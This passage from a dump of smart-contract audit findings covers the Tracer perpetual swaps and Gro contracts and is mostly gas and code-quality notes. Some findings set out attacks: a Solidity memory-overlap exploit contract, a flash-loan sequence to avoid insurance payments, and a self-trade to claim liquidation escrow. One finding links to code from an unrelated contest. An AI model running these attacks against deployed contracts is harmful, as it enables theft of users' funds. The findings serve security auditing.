https://github.com/code-423n4/2021-06-tracer/blob/74e720ee100fd027c592ea44f272231ad4dfa2ab/src/contracts/TracerPerpetualSwaps.sol#L456-L457 https://github.com/code-423n4/2021-06-tracer/blob/74e720ee100fd027c592ea44f272231ad4dfa2ab/src/contracts/TracerPerpetualSwaps.sol#L467 https://github.com/code-423n4/2021-06-tracer/blob/74e720ee100fd027c592ea44f272231ad4dfa2ab/src/contracts/TracerPerpetualSwaps.sol#L474 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Replace the use of storage specifier on L457 with memory. "}, {"title": "tvl calculation in withdraw() should use convertedWadAmount instead of amount", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/57", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-06-tracer-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact The tvl calculation in deposit() uses convertedWadAmount but the one in withdraw() uses the parameter amount. While amount is still in WAD format, it may contain dust which is what the conversion to rawTokenAmount and then back to convertedWadAmount removes. Impact: Use of amount in tvl during withdraw() will consider dust while the one in deposit() will not, which is inconsistent. ## Proof of Concept https://github.com/code-423n4/2021-06-tracer/blob/74e720ee100fd027c592ea44f272231ad4dfa2ab/src/contracts/TracerPerpetualSwaps.sol#L200 https://github.com/code-423n4/2021-06-tracer/blob/74e720ee100fd027c592ea44f272231ad4dfa2ab/src/contracts/TracerPerpetualSwaps.sol#L176-L177 https://github.com/code-423n4/2021-06-tracer/blob/74e720ee100fd027c592ea44f272231ad4dfa2ab/src/contracts/TracerPerpetualSwaps.sol#L162 https://github.com/code-423n4/2021-06-tracer/blob/74e720ee100fd027c592ea44f272231ad4dfa2ab/src/contracts/TracerPerpetualSwaps.sol#L153-L155 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Use convertedWadAmount instead of amount to be consistent with the increment during withdraw() tvl calculation. "}, {"title": "Deposit event should use the converted WAD amount", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/56", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-06-tracer-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact The Deposit event uses the function parameter amount instead of the convertedWadAmount which is what is used to update the user\u2019s position and tvl because it prevents any dust deposited in amount. This will also make it consistent with the emit event in withdraw function. Impact: Deposit event amount reflects the value with dust while the user position does not. This may lead to confusion. ## Proof of Concept https://github.com/code-423n4/2021-06-tracer/blob/74e720ee100fd027c592ea44f272231ad4dfa2ab/src/contracts/TracerPerpetualSwaps.sol#L163 https://github.com/code-423n4/2021-06-tracer/blob/74e720ee100fd027c592ea44f272231ad4dfa2ab/src/contracts/TracerPerpetualSwaps.sol#L153-L162 https://github.com/code-423n4/2021-06-tracer/blob/74e720ee100fd027c592ea44f272231ad4dfa2ab/src/contracts/TracerPerpetualSwaps.sol#L204 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Use uint256(convertedWadAmount) instead of amount in Deposit event. "}, {"title": "executionPrice, newMakeAverage and newTakeAverage before calling the market", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/52", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-06-tracer-findings", "body": "# Handle pauliax # Vulnerability details ## Impact Trader function executeTrade calculates executionPrice, newMakeAverage, newTakeAverage, then calls the market, and only if it succeeds it uses these variables. ## Recommended Mitigation Steps Better first call the market and only then calculate and use these variables to avoid useless calculations and gas costs. "}, {"title": "recalculation of 10**18", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/50", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-06-tracer-findings", "body": "# Handle pauliax # Vulnerability details ## Impact Insurance function drainPool calculates 10**18 many times. To reduce the number of calculations and save gas, this number can be extracted as a constant variable and used everywhere where necessary. ## Recommended Mitigation Steps Extract 10**18 as a constant. "}, {"title": "Zero-address checks are missing", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/49", "labels": ["bug", "1 (Low Risk)"], "target": "2021-06-tracer-findings", "body": "# Handle defsec # Vulnerability details ## Impact Zero-address checks are a best-practise for input validation of critical address parameters. While the codebase applies this to most addresses in setters, there are many places where this is missing in constructors and setters. Impact: Accidental use of zero-addresses may result in exceptions, burn fees/tokens or force redeployment of contracts. ## Proof of Concept The following code sections are missing zero address check. https://github.com/code-423n4/2021-10-union/blob/main/contracts/treasury/Treasury.sol#L36 https://github.com/code-423n4/2021-10-union/blob/main/contracts/treasury/Treasury.sol#L104 https://github.com/code-423n4/2021-10-union/blob/main/contracts/treasury/TreasuryVester.sol#L19 https://github.com/code-423n4/2021-10-union/blob/main/contracts/token/Whitelistable.sol#L55 https://github.com/code-423n4/2021-10-union/blob/main/contracts/user/UserManager.sol#L157 https://github.com/code-423n4/2021-10-union/blob/main/contracts/user/UserManager.sol#L170 https://github.com/code-423n4/2021-10-union/blob/main/contracts/market/UToken.sol#L138 https://github.com/code-423n4/2021-10-union/blob/main/contracts/market/UToken.sol#L142 https://github.com/code-423n4/2021-10-union/blob/main/contracts/market/UToken.sol#L721 https://github.com/code-423n4/2021-10-union/blob/main/contracts/market/MarketRegistry.sol#L59 https://github.com/code-423n4/2021-10-union/blob/main/contracts/asset/AssetManager.sol#L78 https://github.com/code-423n4/2021-10-union/blob/main/contracts/asset/AssetManager.sol#L72 https://github.com/code-423n4/2021-10-union/blob/main/contracts/asset/AaveAdapter.sol#L89 https://github.com/code-423n4/2021-10-union/blob/main/contracts/asset/AaveAdapter.sol#L93 ## Tools Used None ## Recommended Mitigation Steps Consider to Add zero-address checks. "}, {"title": "LIQUIDATION_GAS_COST may not be a constant\u2028", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/48", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-06-tracer-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact The gas cost for liquidation may change if code is updated/optimized, compiler changed or profiling improved. The developers may forget to update this constant in code. Impact: The margin validity calculation which uses this value may be affected if this changes and hence is not as declared in the constant. This may adversely impact validation. ## Proof of Concept https://github.com/code-423n4/2021-06-tracer/blob/74e720ee100fd027c592ea44f272231ad4dfa2ab/src/contracts/TracerPerpetualSwaps.sol#L26 https://github.com/code-423n4/2021-06-tracer/blob/74e720ee100fd027c592ea44f272231ad4dfa2ab/src/contracts/TracerPerpetualSwaps.sol#L244 https://github.com/code-423n4/2021-06-tracer/blob/74e720ee100fd027c592ea44f272231ad4dfa2ab/src/contracts/TracerPerpetualSwaps.sol#L250 https://github.com/code-423n4/2021-06-tracer/blob/74e720ee100fd027c592ea44f272231ad4dfa2ab/src/contracts/TracerPerpetualSwaps.sol#L494 https://github.com/code-423n4/2021-06-tracer/blob/74e720ee100fd027c592ea44f272231ad4dfa2ab/src/contracts/Liquidation.sol#L159 https://github.com/code-423n4/2021-06-tracer/blob/74e720ee100fd027c592ea44f272231ad4dfa2ab/src/contracts/Liquidation.sol#L193 ## Tools Used Manual Analysis ## Recommended Mitigation Steps It is safer to make this a constructor-set immutable value that will force usage of an updated accurate value at deployment time. Evaluate if the sensitivity to this value is great enough to justify a setter to change it if incorrectly initialized at deployment. "}, {"title": "orders and orderToSig mappings", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/47", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "disagree with severity"], "target": "2021-06-tracer-findings", "body": "# Handle pauliax # Vulnerability details ## Impact Contract Trader has 2 mappings: orders and orderToSig. I see that orderToSig also stores Perpetuals.Order inside it, so I wonder if it really was necessary to separate these mappings as some state (order) is duplicated among them. It may be a bit more efficient to access orders without signatures but it also makes it more error-prone as you need to keep the invariant that orders match in these mappings. Currently I don't see an exact problem as orderToSig are only set in function grabOrder and never used in code anywhere but I am not sure if it is really necessary. Tracer representetive's answer on Discord: 'Yeah thats a good point on the Trader mapping, one does look redundant now as they both store the order itself. I think originally one was mutated and one wasn't, but then that functionality got moved into the filled mapping anyway. Seems safe to remove orders and simply reference the orderToSig mapping'. ## Recommended Mitigation Steps Remove orders and simply reference the orderToSig mapping. "}, {"title": "Single-step process for critical ownership transfer\u2028", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/43", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2021-06-tracer-findings", "body": "Single-step process for critical ownership transfer\u2028"}, {"title": "state variable which can be declared as immutable", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/40", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-06-tracer-findings", "body": "# Handle JMukesh # Vulnerability details ## Impact state variable which have to initialise in constructor can be declared as immutable to save gas ## Proof of Concept https://docs.soliditylang.org/en/v0.8.4/contracts.html#constant-and-immutable-state-variables https://github.com/code-423n4/2021-06-tracer/blob/74e720ee100fd027c592ea44f272231ad4dfa2ab/src/contracts/Insurance.sol#L23 https://github.com/code-423n4/2021-06-tracer/blob/74e720ee100fd027c592ea44f272231ad4dfa2ab/src/contracts/Insurance.sol#L20 https://github.com/code-423n4/2021-06-tracer/blob/74e720ee100fd027c592ea44f272231ad4dfa2ab/src/contracts/Liquidation.sol#L30 https://github.com/code-423n4/2021-06-tracer/blob/74e720ee100fd027c592ea44f272231ad4dfa2ab/src/contracts/Liquidation.sol#L31 https://github.com/code-423n4/2021-06-tracer/blob/74e720ee100fd027c592ea44f272231ad4dfa2ab/src/contracts/Pricing.sol#L17 ## Tools Used manual review "}, {"title": "Unused State variable", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/38", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-06-tracer-findings", "body": "# Handle JMukesh # Vulnerability details ## Impact Unused state variable will increase unnecessarily code size and use the memory ## Proof of Concept https://github.com/code-423n4/2021-06-tracer/blob/74e720ee100fd027c592ea44f272231ad4dfa2ab/src/contracts/oracle/GasOracle.sol#L19 ## Tools Used manual review ## Recommended Mitigation Steps remove the variable which are unused "}, {"title": "[Gas] Use at least 0.8.0 instead of 0.8.4", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/37", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-06-tracer-findings", "body": "# Handle hrkrshnn # Vulnerability details ## Impact Gas optimization. ## Use at least 0.8.4 instead of 0.8.0 It has an important optimization improvement: a low level inliner. Especially since you have several small functions. The current hardhat config indicates that version `0.8.0` is being used. "}, {"title": "[Gas] Change some function parameters from `memory` to `calldata`", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/36", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-06-tracer-findings", "body": "# Handle hrkrshnn # Vulnerability details ## Impact Gas optimization. ## For function arguments, change `memory` to `calldata` There are several places where this is applicable, however, will point out one such occasion: ``` diff modified src/contracts/Trader.sol @@ -64,7 +64,7 @@ contract Trader is ITrader { * @param makers An array of signed make orders * @param takers An array of signed take orders */ - function executeTrade(Types.SignedLimitOrder[] memory makers, Types.SignedLimitOrder[] memory takers) + function executeTrade(Types.SignedLimitOrder[] calldata makers, Types.SignedLimitOrder[] calldata takers) external override { @@ -144,7 +144,7 @@ contract Trader is ITrader { * @dev Should only be called with a verified signedOrder and with index * < signedOrders.length */ - function grabOrder(Types.SignedLimitOrder[] memory signedOrders, uint256 index) + function grabOrder(Types.SignedLimitOrder[] calldata signedOrders, uint256 index) internal returns (Perpetuals.Order memory) { ``` Reason: when you specify `memory` for a (non value type) function-parameter for an external function, the following happens: the compiler would copy elements from `calldata` to `memory` (using the opcode `calldatacopy`.) Then later on, the internal call (here `grabOrder`) would pass a memory reference. However, this is a great example of where copying to memory is unnecessary. Note that there is also the opcode `calldataload` to read an offset from `calldata`. By changing the location from `memory` to `calldata`, you avoid this expensive copy from `calldata` to `memory`, while managing to do exactly what's needed. You would only have to use `memory` if the function has to modify the parameter, in which case a copy is really needed as `calldata` cannot be modified. "}, {"title": "Using array memory parameter without checking its length ", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/35", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-06-tracer-findings", "body": "# Handle JMukesh # Vulnerability details ## Impact These array memory parameter can be problematic if not used properly , if the array is very large it may overlap over other part of memory. ## Proof of Concept https://github.com/code-423n4/2021-06-tracer/blob/74e720ee100fd027c592ea44f272231ad4dfa2ab/src/contracts/Liquidation.sol#L274 This an example to show the exploit: // based on https://github.com/paradigm-operations/paradigm-ctf-2021/blob/master/swap/private/Exploit.sol pragma solidity ^0.4.24; // only works with low solidity version contract test{ struct Overlap { uint field0; } event log(uint); function mint(uint[] memory amounts) public returns (uint) { // this can be in any solidity version Overlap memory v; v.field0 = 1234; emit log(amounts[0]); // would expect to be 0 however is 1234 return 1; } function go() public { // this part requires the low solidity version uint x=0x800000000000000000000000000000000000000000000000000000000000000; // 2^251 bytes memory payload = abi.encodeWithSelector(this.mint.selector, 0x20, x); bool success=address(this).call(payload); } } ## Tools Used manual review ## Recommended Mitigation Steps check array length before using it "}, {"title": "claimEscrow() accepts invalid receiptId", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/33", "labels": ["bug", "0 (Non-critical)"], "target": "2021-06-tracer-findings", "body": "claimEscrow() accepts invalid receiptId"}, {"title": "avoid paying insurance", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/30", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "disagree with severity"], "target": "2021-06-tracer-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact It's possible to avoid paying insurance in the following way: - once per hour (at the right moment), do the following: ----using a flash loan, or with a large amount of tokens, call deposit of Insurance.sol to make sure that the pool is sufficiently filled (poolHoldings > poolTarget) ----call the function executeTrade of Trader.sol with a minimal trade (possibly of value 0, see finding \"executeTrade with same trades\") ----executeTrade calls matchOrders, which calls recordTrade ----recordTrade calls updateFundingRate(); (once per hour, so you have to be sure you do it in time before other trades trigger this) ----updateFundingRate calls getPoolFundingRate ----getPoolFundingRate determines the insurance rate, but because the insurance pool is sufficiently full (due to the flash loan), the rate is 0 ----updateFundingRate stores the 0 rate via setInsuranceFundingRate (which is used later on to calculate the amounts for the insurances) ----withdraw from the Insurance and pay back the flash loan The insurance rates are 0 now and no-one pays insurance. The gas costs relative to the insurance costs + the flash loan fees determine if this is an economically viable attack. Otherwise it is still a grief attack This will probably be detected pretty soon because the insurance pool will stay empty. However its difficult to prevent. ## Proof of Concept // https://github.com/code-423n4/2021-06-tracer/blob/main/src/contracts/Insurance.sol#L45 function deposit(uint256 amount) external override { // https://github.com/code-423n4/2021-06-tracer/blob/main/src/contracts/Insurance.sol#L74 function withdraw(uint256 amount) external override { // https://github.com/code-423n4/2021-06-tracer/blob/main/src/contracts/Pricing.sol#L69 function recordTrade(uint256 tradePrice) external override onlyTracer { .. if (startLastHour <= block.timestamp - 1 hours) { .. updateFundingRate(); // https://github.com/code-423n4/2021-06-tracer/blob/main/src/contracts/Pricing.sol#L141 function updateFundingRate() internal { .. int256 iPoolFundingRate = insurance.getPoolFundingRate().toInt256(); .. int256 iPoolFundingRateValue = currentInsuranceFundingRateValue + iPoolFundingRate; .. setInsuranceFundingRate(iPoolFundingRate, iPoolFundingRateValue); // https://github.com/code-423n4/2021-06-tracer/blob/main/src/contracts/Insurance.sol#L204 function getPoolFundingRate() external view override returns (uint256) { .. // If the pool is above the target, we don't pay the insurance funding rate if (poolTarget <= poolHoldings) { return 0; } ## Tools Used ## Recommended Mitigation Steps Set a timelock on withdrawing insurance "}, {"title": "Use immutable keyword", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/29", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-06-tracer-findings", "body": "Use immutable keyword"}, {"title": "Comment in claimEscrow", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/26", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-06-tracer-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The function claimEscrow of Liquidation.sol can be called by everyone. The claimed funds go to the trader so there are no funds at risk. However the comment says the traders is doing this. ## Proof of Concept // https://github.com/code-423n4/2021-06-tracer/blob/main/src/contracts/Liquidation.sol#L106 /** * @notice Allows a trader to claim escrowed funds after the escrow period has expired * @param receiptId The ID number of the insurance receipt from which funds are being claimed from */ function claimEscrow(uint256 receiptId) public override { ## Tools Used ## Recommended Mitigation Steps Double check and it the code works as intended adapt the comment. Otherwise add check that only the trader can call the function. "}, {"title": "use try catch", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/25", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-06-tracer-findings", "body": "use try catch"}, {"title": "Variables that can be converted into immutables", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/24", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-06-tracer-findings", "body": "# Handle hrkrshnn # Vulnerability details ## Variables that can be converted into immutables ``` txt Warning: Variable declaration can be converted into an immutable. --> contracts/external/ERC20.sol:17:3: | 17 | uint8 public decimals; | ^^^^^^^^^^^^^^^^^^^^^ Warning: Variable declaration can be converted into an immutable. --> contracts/PairFactory.sol:17:3: | 17 | uint MAX_INT = 2**256 - 1; | ^^^^^^^^^^^^^^^^^^^^^^^^^ Warning: Variable declaration can be converted into an immutable. --> contracts/PairFactory.sol:22:3: | 22 | address public lendingPairMaster; | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Warning: Variable declaration can be converted into an immutable. --> contracts/PairFactory.sol:23:3: | 23 | address public lpTokenMaster; | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Warning: Variable declaration can be converted into an immutable. --> contracts/PairFactory.sol:24:3: | 24 | IController public controller; | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Warning: Variable declaration can be converted into an immutable. --> contracts/RewardDistribution.sol:35:3: | 35 | IPairFactory public factory; | ^^^^^^^^^^^^^^^^^^^^^^^^^^^ Warning: Variable declaration can be converted into an immutable. --> contracts/RewardDistribution.sol:36:3: | 36 | IController public controller; | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Warning: Variable declaration can be converted into an immutable. --> contracts/RewardDistribution.sol:37:3: | 37 | IERC20 public rewardToken; | ^^^^^^^^^^^^^^^^^^^^^^^^^^ ``` Instead of the expensive `sload`, to read from storage, these would be transformed into a cheap `push value`, when the variables are converted into immutable. ## Tools Used A custom compiler. "}, {"title": "make sure withdrawFees allways can withdraw", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/23", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-06-tracer-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact If you call the function withdrawFees and the \"tvl\" would not be enough for the fee then the code would revert. In this case the fees cannot be withdrawn. Although it is unlikely that the tvl would be wrong it is probably better to be able to withdraw the remaining fees. ## Proof of Concept // https://github.com/code-423n4/2021-06-tracer/blob/main/src/contracts/TracerPerpetualSwaps.sol#L508 function withdrawFees() external override { uint256 tempFees = fees; fees = 0; tvl = tvl - tempFees; // Withdraw from the account IERC20(tracerQuoteToken).transfer(feeReceiver, tempFees); emit FeeWithdrawn(feeReceiver, tempFees); } ## Tools Used ## Recommended Mitigation Steps Add something like: tempFees = min (fees, tvl); and change fees=0 to: fees -= tempFees; "}, {"title": "Comment in partialLiquidationIsValid misleading", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/18", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-06-tracer-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The comments for partialLiquidationIsValid indicate that the params are in WAD format (except liquidationGasCost) However the parameter minimumLeftoverGasCostMultiplier originates from Liquidation.sol and has the value 10. So it is not in WAD format and the comment is misleading. ## Proof of Concept //https://github.com/code-423n4/2021-06-tracer/blob/main/src/contracts/lib/LibLiquidation.sol#L149 @dev Assumes params are WAD except liquidationGasCost function partialLiquidationIsValid( Balances.Position memory updatedPosition, uint256 lastUpdatedGasPrice, uint256 liquidationGasCost, uint256 price, uint256 minimumLeftoverGasCostMultiplier ) //https://github.com/code-423n4/2021-06-tracer/blob/main/src/contracts/Liquidation.sol#L27 uint256 public override minimumLeftoverGasCostMultiplier = 10; ## Tools Used ## Recommended Mitigation Steps Update the comment "}, {"title": "check sign in calculateSlippage", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/17", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "disagree with severity"], "target": "2021-06-tracer-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact In function calculateSlippage of LibLiquidation.sol, the value of amountToReturn is calculated by subtracting to numbers. Later on it is check if this value is negative. However amountToReturn is an unsigned integer so it can never be negative. If a negative number would be attempted to be assigned, the code will revert, because solidity 0.8 checks for this. ## Proof of Concept // https://github.com/code-423n4/2021-06-tracer/blob/main/src/contracts/lib/LibLiquidation.sol#L106 function calculateSlippage( ... uint256 amountToReturn = 0; uint256 percentSlippage = 0; if (avgPrice < receipt.price && receipt.liquidationSide == Perpetuals.Side.Long) { amountToReturn = amountExpectedFor - amountSoldFor; } else if (avgPrice > receipt.price && receipt.liquidationSide == Perpetuals.Side.Short) { amountToReturn = amountSoldFor - amountExpectedFor; } if (amountToReturn <= 0) { // can never be smaller than 0, because amountToReturn is uint256 return 0; } ## Tools Used ## Recommended Mitigation Steps Double check if amountToReturn could be negative. If this is the case change the type of amountToReturn to int256 and add the appropriate type casts "}, {"title": "Comment for formula calcEscrowLiquidationAmount different than code", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/16", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-06-tracer-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The comment for the formula in calcEscrowLiquidationAmount is: currentMargin - (minMargin - currentMargin) * portion however it is coded as: {currentMargin - (minMargin - currentMargin)} * portion According to Ray/Lions mane the comment is wrong ## Proof of Concept // https://github.com/code-423n4/2021-06-tracer/blob/main/src/contracts/lib/LibLiquidation.sol#L32 // Calculated as currentMargin - (minMargin - currentMargin) * portion of whole position being liquidated function calcEscrowLiquidationAmount( .. int256 amountToEscrow = currentMargin - (minMargin.toInt256() - currentMargin); int256 amountToEscrowProportional = PRBMathSD59x18.mul(amountToEscrow, PRBMathSD59x18.div(amount, totalBase)); ## Tools Used ## Recommended Mitigation Steps Fix the comment "}, {"title": "alternative solidity coding", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/15", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-06-tracer-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact Solidity allows some tricks to make the code easier to read: LibMath.sol: uint256 public constant POSITIVE_INT256_MAX = 2**255 - 1; uint256 public constant POSITIVE_INT256_MAX = uint(type(int256).max); // alternative coding Insurance.sol: uint256 public multiplyFactor = 36523 * (10**11); uint256 public multiplyFactor = 0.0036523e18; // alternative coding ## Proof of Concept Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept. ## Tools Used ## Recommended Mitigation Steps Use the most readable coding "}, {"title": "Use constants for numbers", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/14", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-06-tracer-findings", "body": "Use constants for numbers"}, {"title": "todos left in the code", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/12", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-06-tracer-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact There are several todos left in the code. ## Proof of Concept .\\Pricing.sol: // todo by using public variables lots of these can be removed .\\Trader.sol: // todo this could be succeptible to re-entrancy as .\\lib\\LibLiquidation.sol: // todo with the below * -1, note ints can overflow as 2^-127 is valid but 2^127 is not. .\\lib\\LibPrices.sol: // todo double check safety of this. ## Tools Used ## Recommended Mitigation Steps Check, fix and remove the todos before it is deployed in production "}, {"title": "prb-math not audited", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/11", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-06-tracer-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The library prb-math documents that it is not audited by a security researcher. This means its more risky to rely on this library. ## Proof of Concept // https://github.com/hifi-finance/prb-math#security The contracts have not been audited by a security researcher. ## Tools Used ## Recommended Mitigation Steps Consider (crowdsourcing) an audit for prb-math "}, {"title": "Only one constructor with an emit", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/10", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-06-tracer-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The constructor of Insurance.so does an emit. However the constructors of the other contracts (InsurancePoolToken.sol, Liquidation.sol, Pricing.sol, TracerPerpetualSwaps.sol, TracerPerpetualsFactory.sol, Trader.sol) don't do an emit in the constructor. ## Proof of Concept // https://github.com/code-423n4/2021-06-tracer/blob/main/src/contracts/Insurance.sol#L31 constructor(address _tracer) { ... emit InsurancePoolDeployed(_tracer, tracer.tracerQuoteToken()); } ## Tools Used ## Recommended Mitigation Steps Perhaps it's useful for other constructor to also include an emit "}, {"title": "Deployers can be called by everyone", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/9", "labels": ["bug", "invalid", "sponsor dispute"], "target": "2021-06-tracer-findings", "body": "Deployers can be called by everyone"}, {"title": "No pause function is present", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/8", "labels": ["bug", "invalid", "sponsor dispute"], "target": "2021-06-tracer-findings", "body": "No pause function is present"}, {"title": "matchOrders could/should check market", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/6", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-06-tracer-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The function matchOrders of TracerPerpetualSwaps.sol doesn't check that the contract itself is indeed equal to order1.market and order2.market. The function executeTrade Trader.sol, which calls the matchOrders, can deal with multiple markets. Suppose there would be a mistake in executeTrade, or in a future version, the matchOrders would be done in the wrong market. ## Proof of Concept // https://github.com/code-423n4/2021-06-tracer/blob/main/src/contracts/TracerPerpetualSwaps.sol#L216 function matchOrders( Perpetuals.Order memory order1, Perpetuals.Order memory order2, uint256 fillAmount ) // https://github.com/code-423n4/2021-06-tracer/blob/main/src/contracts/Trader.sol#L67 function executeTrade(Types.SignedLimitOrder[] memory makers, Types.SignedLimitOrder[] memory takers) external override { ... (bool success, ) = makeOrder.market.call( abi.encodePacked( ITracerPerpetualSwaps(makeOrder.market).matchOrders.selector, abi.encode(makeOrder, takeOrder, fillAmount) ) ); // https://github.com/code-423n4/2021-06-tracer/blob/main/src/contracts/lib/LibPerpetuals.sol#L128 function canMatch( Order memory a, uint256 aFilled,Order memory b, uint256 bFilled ) internal view returns (bool) { ... bool marketsMatch = a.market == b.market; ## Tools Used ## Recommended Mitigation Steps Add something like: require ( order1.market == address(this), \"Wrong market\"); Note: canMatch already verifies that order1.market== order2.market "}, {"title": "Claim liquidation escrow", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/2", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-06-tracer-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact A liquidator can always claim the liquidation escrow in the following way: - create a second account - setup a complimentary trade in that second account, which will result in a large slippage when executed - call executeTrade (which everyone can call), to execute a trade between his own two accounts with a large slippage - the slippage doesn't hurt because the liquidator owns both accounts - call claimReceipt with the receiptId of the executed order, within the required period (e.g. 15 minutes) ## Proof of Concept // https://github.com/code-423n4/2021-06-tracer/blob/main/src/contracts/Trader.sol#L67 function executeTrade(Types.SignedLimitOrder[] memory makers, Types.SignedLimitOrder[] memory takers) external override { https://github.com/code-423n4/2021-06-tracer/blob/main/src/contracts/Liquidation.sol#L394 function claimReceipt( uint256 receiptId, Perpetuals.Order[] memory orders, address traderContract) external override { ## Tools Used ## Recommended Mitigation Steps perhaps limit who can call executeTrade "}, {"title": "Use of deprecated Chainlink function `latestAnswer`", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/126", "labels": ["bug", "2 (Med Risk)", "disagree with severity"], "target": "2021-06-gro-findings", "body": "Use of deprecated Chainlink function `latestAnswer`"}, {"title": "Use of `tx.origin` for authentication", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/122", "labels": ["bug", "1 (Low Risk)"], "target": "2021-06-gro-findings", "body": "Use of `tx.origin` for authentication"}, {"title": "More accurate calculation of return USD of `withdrawSingleByLiquidity`", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/121", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-06-gro-findings", "body": "# Handle shw # Vulnerability details ## Impact The `withdrawSingleByLiquidity` function of `LifeGuard3Pool` calls `buoy.singleStableToUsd` to calculate the return USD amount, which internally calls `_stableToUsd` with the `deposit` parameter set to `true`. A more accurate calculation is to set the `deposit` parameter to `false` since this action is a withdrawal. A similar issue exists in the function `calcProtocolWithdraw` of `Allocation`, where the current strategy's USD is calculated by `buoy.singleStableToUsd`. ## Proof of Concept Referenced code: [LifeGuard3Pool.sol#L226](https://github.com/code-423n4/2021-06-gro/blob/main/contracts/pools/LifeGuard3Pool.sol#L226) [Buoy3Pool.sol#L122](https://github.com/code-423n4/2021-06-gro/blob/main/contracts/pools/oracle/Buoy3Pool.sol#L122) [Allocation.sol#L142](https://github.com/code-423n4/2021-06-gro/blob/main/contracts/insurance/Allocation.sol#L142) ## Recommended Mitigation Steps Consider adding a new boolean parameter, `deposit`, to the `singleStableToUsd` function of `Buoy3Pool` to indicate whether the action is a deposit or not, as that 